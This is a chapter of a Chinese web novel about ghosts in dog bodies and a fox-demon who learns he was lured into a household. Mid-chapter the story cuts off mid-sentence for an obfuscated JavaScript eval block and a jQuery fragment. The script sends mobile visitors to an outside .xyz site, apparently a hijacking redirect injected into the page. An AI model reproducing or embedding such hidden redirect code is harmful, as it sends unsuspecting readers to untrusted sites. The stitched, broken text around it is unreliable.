听到慕容鸢的描述,漆晓好奇道:“你也死了?”
“不只是我呢,我们几个都死啦。”
“我是被火烧死的,季京墨看起来死得更惨,死的时候全身都是弹孔,身上没一处完整。”
明明每个字听起来都那么沉重,漆晓却从慕容鸢嘴里听出了一丝幸灾乐祸。
“老江不知道咋死的,嘿嘿,估计嘛也好不到哪去。”
漆晓环视这一屋子的男人:“所以,家里只有我一个活人?”
江烈严谨纠正着她的说辞:“严格来说,只有你一个是人。”
“难道你们也是妖?”
慕容鸢想开口,江烈赶紧截住话头,慕容鸢这个大漏勺,指不定说着说着就全抖出来。
“以前的确是人,死后魂魄不小心进了狗的身体里,现在应该不算是人了。”
江烈话毕,慕容鸢极其配合地变成小鹿犬在空中旋转着漂浮前进。季京墨别开脸,不忍看到漆晓眼里那副原来如此的神情。
漆晓缓缓点点头:“最后一个问题,我为什么没有记忆,没有家人?”这是她最在意的一点。
木祈竖起耳朵,这个问题他也很好奇,还有为什么江烈他们三个没有进入轮回?他很想知道答案。
江烈却是说什么都不再开口,慕容鸢和季京墨看江烈的目光也有几分探寻,看起来只有江烈知道真相。
漆晓见江烈沉默也不再追问,今天知道的事情也不少,剩下的真相再慢慢找吧,她这会是真的困了,打了个招呼就上楼睡觉。
啪嗒,房门刚一关慕容鸢就兴奋地在沙发上打滚:“哦耶!总算不用再提心吊胆吃零食了!”
“……唉,这样也好。”江烈果断掏出手机,准备下单他心仪已久的那套多功能健身综合训练器。
“终于不用再给你们背锅了。”木祈叉腰瞪着慕容鸢,不过瞪着瞪着眼神里又多了丝怜悯。
慕容鸢身形一侧,拳头抵住肩口:“这么看着我干嘛,要报复啊。”
“难怪你之前说怕火,原来你是被烧死的。”木祈故意拖着腔调,闷声低笑,这可是慕容鸢送上门的弱点呀。
慕容鸢张张口准备反驳,却是双唇一顿如被定格一般,眉头微微拧起,细看眼里还泛起了一点水光。
看慕容鸢这反应木祈心一紧,自责止不住地从心底蔓延开。他怎么可以这样,被烧死多痛苦啊,他也是经历过死亡的,怎么可以把这个当做弱点拿捏别人呢……
“对……”他打算好好道个歉。
“嘶——”慕容鸢的眉头越拧越紧,“我的天,我咬到了嘴里的溃疡,好痛!”
“还说正好用木祈的火吃火焰烤肉来着,啊啊啊好痛好痛!”
“……”对不起你个小烤肉!木祈紧急撤回没道完的歉。
“让你别一次性吃这么多蛳蛳粉,你不听。”江烈无奈摇摇头。
慕容鸢捂着嘴:“谁让漆晓不喜欢,以前出去都吃不成,好不容易能吃点不得过够瘾嘛。”
他屁颠颠地往季京墨的位置挪去:“小季,帮我处理处理这个溃疡呗。”
季京墨头也不抬,好似旁边是一团会说话的空气。
“啊,季少,季总,求求你了嘛。”
季京墨默默看报纸,眼神都没给他一个。
慕容鸢不得不使出他的杀手锏:“一瓶凯撒天堂。”
见季京墨还是没反应,慕容鸢咬咬牙忍痛割爱:“一瓶罗曼尼康帝。”
“成交。”季京墨唇角一勾,瞬息变成萨摩耶,温润的白光不过才刚刚亮起就熄灭。
慕容鸢舔了舔溃疡,不过一秒钟就已愈合如初:“小季你真是个十恶不赦的大奸医。”
“那下次别来求我。”季京墨又拿起报纸,“记得兑现我的酒。”
累了一天,晚上木祈沉沉睡去,却又被梦里的血腥与痛楚惊醒,他习惯性地坐起身体,额间布满冷汗,他大口大口喘息着,试图让全身紧绷的神经缓缓舒展。
他看向窗外,晚上忘了拉窗帘,不过好像并没有什么影响,今晚的月亮被埋在厚厚的云层里,窗外黑蒙蒙一片。
木祈还是下床去拉上窗帘,却听到有人在交谈,他听觉异常灵敏,在这静谧的夜里,哪怕交谈的人刻意压低声音他仍能听清对话。
“喂江烈,你到底打算什么时候把木祈送走?”
“不能送走。”
“不能?当初你可说的是观察几天,不对劲就把他送走的,你怎么出尔反尔。”
“他很好啊,没什么不对的。”
“哪里好?他甚至已经进了漆晓房间!”季京墨的声音听起来气急败坏,“你知道这事有多严重吗?我们那么久都进不去。”
“额,所以呢?”
“他莫名其妙接近漆晓,鬼知道他有什么目的啊,现在他能随便进漆晓房间了,你能保证他不在房间伤害漆晓?”
“不会的,放心吧,木祈还和一千年前我认识的他一样,况且……本就是我主动引他来的。”
“什么?”
什么?江烈引自己来的?在季京墨的惊讶声中,木祈拉窗帘的手紧紧攥住,呼吸都暂停了,凝神屏息继续听江烈辩白。
“是我给的他漆晓信息,你放心,我还给了他很多书。”
“就你之前网购的那批言情小说?”
“嗯,这些书可是常年霸榜霸总文学榜的,都很有质量。”
“……难怪他有时脑子看起来不正常。”
“他看看这些书应该会被人类的情爱感动吧,说不定他真的能放下仇恨。”
“仇恨?他和凌清荷有仇?有仇恨你还敢放他接近漆晓??”
凌清荷,原来千年前的漆晓叫凌清荷,木祈想起来的确江烈那时候唤她荷儿,可他并不恨凌清荷啊,他从来只是恨那些伤害他的人,江烈是不是误会了什么?
“唉,都是过去的事了,不提了,不过你看效果还挺不错吧,木祈对漆晓挺好的。”
“谁知道这家伙是不是装的,不行,必须把他赶走。”
“不能赶走,京墨,这是为了漆晓好。”
“你遮遮掩掩的什么都不告诉我们,我凭什么相信木祈这家伙不会伤害漆晓?”
“总之要结束一切就不能赶走木祈,放心吧,我有分寸。”
江烈的语气不容置喙,沉默蔓延,两人无声对峙着,最终以季京墨的开口判定他的妥协。
“你最好是。”啪嗒,开门声和关门声接连传来,听起来季京墨回了自己房间。
木祈的睫毛快速颤动着,手指无意识蜷缩起来,他努力使自己平静下来,梳理着江烈刚刚的话。
所以,那个给他复仇秘籍的神秘人,是江烈?
江烈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536113|186560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
早就认出了自己,他甚至什么都知道,江烈明明白白知晓他的恨意却还是引诱他前来找漆晓,甚至还给他那么多复仇秘籍,江烈究竟有什么目的?
木祈不认为江烈会伤害漆晓,可他的所作所为实在令人匪夷。漆晓的这一世绝对不合常态,江烈说留着他是为了结束一切,漆晓体内有他的妖丹,所以江烈是觊觎他的魂魄,想用某种方式来保护漆晓?
木祈鼻翼微微翕动,双唇紧紧拧在一起,他静静伫立在窗前,竭力压下心中的怒意。
亏他以为江烈这么好,原来一切的一切都是对他有所图谋。千年前的江烈宽厚坦荡,可保不准一千年后也变得奸猾无比,人类嘛,劣根是刻在骨子里的。
一定要加快速度了,拿回妖丹就离开人界,他再也不要和人类接触。
第二天一早大家聚在餐厅吃早饭,这么多年来第一次餐桌上坐着的是几个人。
江烈还在厨房忙活,季京墨慢条斯理切着盘子里的面包片,慕容鸢一口干掉杯子里的现磨豆浆,舒服得浑身直冒泡泡:“啊~终于能正常吃饭了,感谢木祈。”
“谢我什么?”
“嘿嘿,当然是感谢你来到家里让我们掉马咯,要不是你还不知道老江让我们装多久的狗呢。”
木祈满头黑线,谢我不如谢坏蛋江烈,是他引诱我来的。
坏蛋江烈从厨房端着餐盘出来:“新方法蒸的鸡蛋羹,一人一杯,你们尝尝看喜不喜欢。”
木祈无视眼前色泽金灿的鸡蛋羹,慕容鸢见他不动,一把将他面前的杯子夺走。
“你不吃?那归我咯,好吃老江,真好吃。”
木祈给漆晓夹了一只小笼包,昨晚他再也睡不着,干脆起来研究菜谱,不枉他折腾了大半夜小笼包做法,上锅蒸出来香味扑鼻。
季京墨的视线跟刀子似的向他劈来,无事献殷勤非奸即盗。
漆晓一觉醒来觉得家里氛围真是说不上来的奇怪,吃过饭她单独叫过木祈。
“怎么了?他们欺负你了?”
木祈一怔,摇摇头:“没有。”
没人欺负他,相反其实江烈对他很好,可越是好木祈就越是反感,所谓的好都是有所图谋。
“你看起来心情不好。”
“我……我只是有点不舒服。”
被欺骗的感觉竟是这般令人不快吗?当知道一个人对你的好,全都出自对你的图谋,这些所谓的好,会化成一把把利刃将彼此的关系狠狠斩断。
木祈低头自嘲,他有什么资格去埋怨江烈呢,他对漆晓不也是这样吗?漆晓将来知道真相也会像他这样难受吗?会憎恶厌弃他吗?一想到揭破真相时漆晓会痛苦,会讨厌他,他的心就像被什么给紧紧攥住,呼吸不上来。
可他……真的不想死,他很想念他的族人,也好想再自由自在畅游于天地间,他脸色看起来难看极了。
漆晓的手覆上他的额角,柔软的触感将她手心的温热传过来,木祈微微一愣,漆晓手心里残留着沐浴露的兰花香,淡淡雅香钻入木祈鼻子。
“没发烧。”
漆晓把手拿开,木祈下意识追过去轻轻蹭了蹭她的掌心。
“……我没事,就是昨晚没睡好。”
“嗯,不舒服别逞强。”
“……好。”木祈的心像是被装在一艘小船上,在海上的波浪中来回摇晃着。